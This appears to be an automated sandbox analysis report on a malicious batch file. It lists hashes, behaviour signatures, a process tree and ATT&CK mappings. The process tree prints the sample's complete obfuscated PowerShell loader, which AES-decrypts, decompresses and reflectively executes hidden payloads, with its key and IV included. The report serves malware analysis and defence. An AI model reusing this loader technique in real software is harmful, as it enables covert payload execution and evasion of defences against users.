fb199c109cc8551b14ce74fc759e7e2430f7f5a57cd410ac8cdb5cb894bbfeb8

General

Target

54M9lg5.bat
Size

388KB
MD5

31cebd7e588526ab0e13b91877c08665
SHA1

52929c1bd8765d5573848494d880bf2484acac12
SHA256

fb199c109cc8551b14ce74fc759e7e2430f7f5a57cd410ac8cdb5cb894bbfeb8
SHA512

64b35bead23bf5310cd3afb7de4504dc67911ed6e9b9c4a3aaf106505e081657f8da3f3444e6b74c1e9744f9dd1b4646b27c35d05f6af2b7614aecb251a9bf61
SSDEEP

12288:yX/PIvkGjjGp/BqbaywxRYCXEP2+oeUwG1GKp:QPIcGjjkEwxRYCX42Thp

Score

8^/10

execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

1996 powershell.exe

pid	process
1996	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

StikyNot.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Windows\CurrentVersion\Run\RESTART_STICKY_NOTES = "C:\\Windows\\system32\\StikyNot.exe"	StikyNot.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1996 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1996 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

StikyNot.exe

pid process

2812 StikyNot.exe
2812 StikyNot.exe

pid	process
1996	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1996	powershell.exe

pid	process
2812	StikyNot.exe
2812	StikyNot.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 1936 wrote to memory of 2456	1936	cmd.exe	cmd.exe
PID 1936 wrote to memory of 2456	1936	cmd.exe	cmd.exe
PID 1936 wrote to memory of 2456	1936	cmd.exe	cmd.exe
PID 1936 wrote to memory of 1996	1936	cmd.exe	powershell.exe
PID 1936 wrote to memory of 1996	1936	cmd.exe	powershell.exe
PID 1936 wrote to memory of 1996	1936	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\54M9lg5.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1936

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('f3MdSQvZVMcn6E7f4B+XvVgVp1iwF8nc01VvmvGOU0U='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tMZBwLm+KLwTB8FTX+suaA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $DtgGd=New-Object System.IO.MemoryStream(,$param_var); $UJAmf=New-Object System.IO.MemoryStream; $NciVC=New-Object System.IO.Compression.GZipStream($DtgGd, [IO.Compression.CompressionMode]::Decompress); $NciVC.CopyTo($UJAmf); $NciVC.Dispose(); $DtgGd.Dispose(); $UJAmf.Dispose(); $UJAmf.ToArray();}function execute_function($param_var,$param2_var){ $QoXwT=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GTccN=$QoXwT.EntryPoint; $GTccN.Invoke($null, $param2_var);}$jYuiO = 'C:\Users\Admin\AppData\Local\Temp\54M9lg5.bat';$host.UI.RawUI.WindowTitle = $jYuiO;$gXwGM=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($jYuiO).Split([Environment]::NewLine);foreach ($LLKpG in $gXwGM) { if ($LLKpG.StartsWith('icuYuBCnSxMVygOBoHMo')) { $vmoAo=$LLKpG.Substring(20); break; }}$payloads_var=[string[]]$vmoAo.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
2⤵
PID:2456

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1996

C:\Windows\system32\StikyNot.exe
"C:\Windows\system32\StikyNot.exe"
1⤵
- Adds Run key to start application
- Suspicious use of FindShellTrayWindow
PID:2812

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1996-4-0x000007FEF5D5E000-0x000007FEF5D5F000-memory.dmp

Filesize
4KB

Download
memory/1996-5-0x000000001B580000-0x000000001B862000-memory.dmp

Filesize
2.9MB

Download
memory/1996-6-0x0000000002820000-0x0000000002828000-memory.dmp

Filesize
32KB

Download
memory/1996-7-0x000007FEF5AA0000-0x000007FEF643D000-memory.dmp

Filesize
9.6MB

Download
memory/1996-9-0x000007FEF5AA0000-0x000007FEF643D000-memory.dmp

Filesize
9.6MB

Download
memory/1996-8-0x000007FEF5AA0000-0x000007FEF643D000-memory.dmp

Filesize
9.6MB

Download
memory/1996-10-0x000007FEF5AA0000-0x000007FEF643D000-memory.dmp

Filesize
9.6MB

Download
memory/1996-11-0x000007FEF5AA0000-0x000007FEF643D000-memory.dmp

Filesize
9.6MB

Download
memory/1996-12-0x000007FEF5D5E000-0x000007FEF5D5F000-memory.dmp

Filesize
4KB

Download
memory/2812-15-0x0000000002500000-0x0000000002501000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads